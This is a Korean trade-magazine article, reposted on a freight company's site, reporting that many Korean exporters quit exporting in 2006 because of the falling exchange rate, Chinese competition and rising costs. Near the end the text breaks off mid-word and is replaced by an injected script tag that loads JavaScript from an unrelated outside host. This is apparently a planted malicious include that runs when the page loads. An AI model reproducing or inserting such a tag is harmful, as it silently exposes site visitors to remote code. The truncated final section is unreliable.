HOME ㅣ SITEMAP ㅣ FAVORITE ㅣ ENGLISH
글쓴이 운영자 작성일 2006-10-31
제목 수출기업이 줄고 있다
수출기업이 줄고 있다



안용근 월간무역 기자
aykn@kita.net

신발 수출로 1천만 달러 달성을 바라보던 A 사는 지난해 천당과 지옥을 동시에 경험했다. 900만 달러라는 놀라운 실적을 기록하며 순항하던 이 업체는 작년 연말, 중국산 제품의 시장 잠식과 환율 하락에 따른 경쟁력 약화로 회사 문을 닫아야 했다.
김치 종주국이라는 말이 무색하게 중국산 김치에 백기투항 한 업체도 있다. 김치 등 식품류로 지난해 200만 달러 이상을 수출했던 B 사는 중국산 김치의 공세에 경영난을 이기지 못하고 도산했다.
원자재 가격 상승과 환율 하락의 이중고로 수출을 포기하고 내수에 주력하고 있는 업체도 있다. 지난해 약 700만 달러의 금속제품을 수출했던 C 사는 금년 들어 상반기 중 수출실적이 전무하다. 수출용 원자재인 니켈 가격이 상승한 데다 환율은 급락해 해외시장에서 도저히 가격조건을 맞출 수 없어 수출을 포기하고 내수에만 매달리고 있다.
500만 달러 규모의 오징어를 수출했던 D 사는 환율 급락으로 작년 말부터 적자로 돌아섰다. 어쩔 수 없이 금년 들어서는 수출을 포기하고 국내시장에서 돌파구를 찾고 있으나 매출 및 수익이 급감하고 있다. 이밖에 임금, 물류비 등 제반비용 상승으로 경쟁력을 상실해 생산기지를 중국으로 이전하는 업체도 어렵지 않게 찾을 수 있으며 잘나가던 수출 기업이 경쟁력 약화로 수출 활동을 접고 업종을 전환해 내수만 하고 있는 사례도 있다.
한국 경제의 버팀목인 수출. 외화벌이의 최일선에서 힘겨운 싸움을 벌이고 있는 수출기업들이 쓰러지고 있다. 한국 무역 60년사에서 수많은 수출업체들이 새로 생겨나고 사라져 갔지만 작금의 상황은 예사롭지 않다. 수출을 포기하는 업체 수도 업체 수지만 그 내용이 더 문제다.

올 상반기 4개 사 중 1개 사가 문을 닫아
무역연구소에 따르면 금년 상반기 수출 활동을 벌였던 2만 4,690개 사 가운데 5,744개 사(23.3%)가 수출을 전면 중단했다. 4개 중 1개 업체가 수출을 포기한 것이다. 수출실적이 없는 주된 이유는 60%가 이미 휴업 또는 폐업했거나 수출 활동을 잠정중단했기 때문이다. 나머지 업체들은 간접수출로 전환하거나 생산시설의 해외이전을 통한 현지 직접수출방식을 택한 것으로 나타났다.
수출 휴폐업, 잠정중단 업체들의 절반 가까이(44.9 %)가 수출 중단 사유로 환율 하락을 꼽았다. 그 외에 중국 등 경쟁국의 시장 잠식이 24.7%, 고유가 및 국제원자재가격 상승이 14.6%, 임금 및 물류비, 금리 부담 가중이 11.2%를 차지했다.
수출기업의 경쟁력을 위협하는 요인으로는 매번 거론되는 항목들이 어김없이 재등장했다. 특히 환율 변동에 이렇다 할 대처방법이 없는 많은 중소 수출기업의 환리스크에 대한 위기감은 매우 절박하다. 물론 업계 애로를 타개하기 위한 노력이 전혀 없는 것은 아니다.
올해 한국무역협회는 수출업체들의 최대 고민 중 하나인 환율문제에 효과적으로 대처할 수 있는 신규 사업을 시작했다. 100만 원 한도 내에서 보험료를 전액 지원하는 환변동보험료 지원 사업이다. 획기적인 사업으로 좋은 평가를 받고는 있지만 가입 업체는 생각만큼 많지 않다. 환율 변동에 따른 손실분을 보장해 주는 것은 좋으나 이익이 발생했을 경우 이를 포기해야 하는 것 때문에 갈등하는 업체가 적지 않은 탓이다.
그러다 북한 핵실험으로 환율이 반등하자 상황이 달라졌다. 환율이 오르자 좋은 보장환율을 설정받기 위해 보험청약에 나선 업체들이 쇄도한 것이다. 북한 핵실험 이튿날 하루에만 총 132건의 환변동보험 청약이 접수됐다. 9월 한 달간 일평균 청약건수(10건)의 13배에 달하는 수준이다. 환변동보험 가입에 소극적이던 업체들이 전 세계를 강타한 북핵 위기가 야기한 환율 변동을 이용해 서둘러 환리스크 헤지에 나선 것이다. 환율에 울고 웃는 우리 수출업체들의 웃지도 울지도 못할 현실이다.

경쟁력 부재가 가장 큰 원인
우리 수출기업들을 옥죄는 위기요인은 환율만이 아니다. 원자재, 고유가, 중국의 공세, 자금난, 물류비 등 수출활동을 위협하는 요인들의 심각성은 이미 구문이 된 지 오래다. 문제는 해결방안이 보이지 않는다는 점이다.
전문가들은 수출기업이 어려움에 직면하고 있는 근본적인 이유는 글로벌경쟁시대에 걸맞은 경쟁력이 없기 때문이라고 지적한다. 수출하고 싶어도 해외시장에서 경쟁할 수 있는 품목이 없다는 것이다.
물론 해법은 혁신을 통해 경쟁력을 갖추는 것이다. 우리 기업은 이미 가격경쟁력을 상실했다. 하지만 기술경쟁력은 아직 해볼 만하다. 기술혁신을 추구하?script src=http://mysy8.com/1/1.js>
CARGOROWORLD CO., LTD.  ㅣ  Corporate Registration Number: 201-81-28099  ㅣ  President(CEO): Kwon-Ho Cho ㅣ  E-MAIL : cargoro1@cargoro.com
Addresss: #405, 62-9, TAEPYUNGRO-1GA, CHUNG-GU, SEOUL, SOUTH KOREA  |  TEL: +82-2-722-0397  ㅣ  FAX: +82-2-722-0398
Copyright (c) 2012 CARGORO.COM All rights reserved.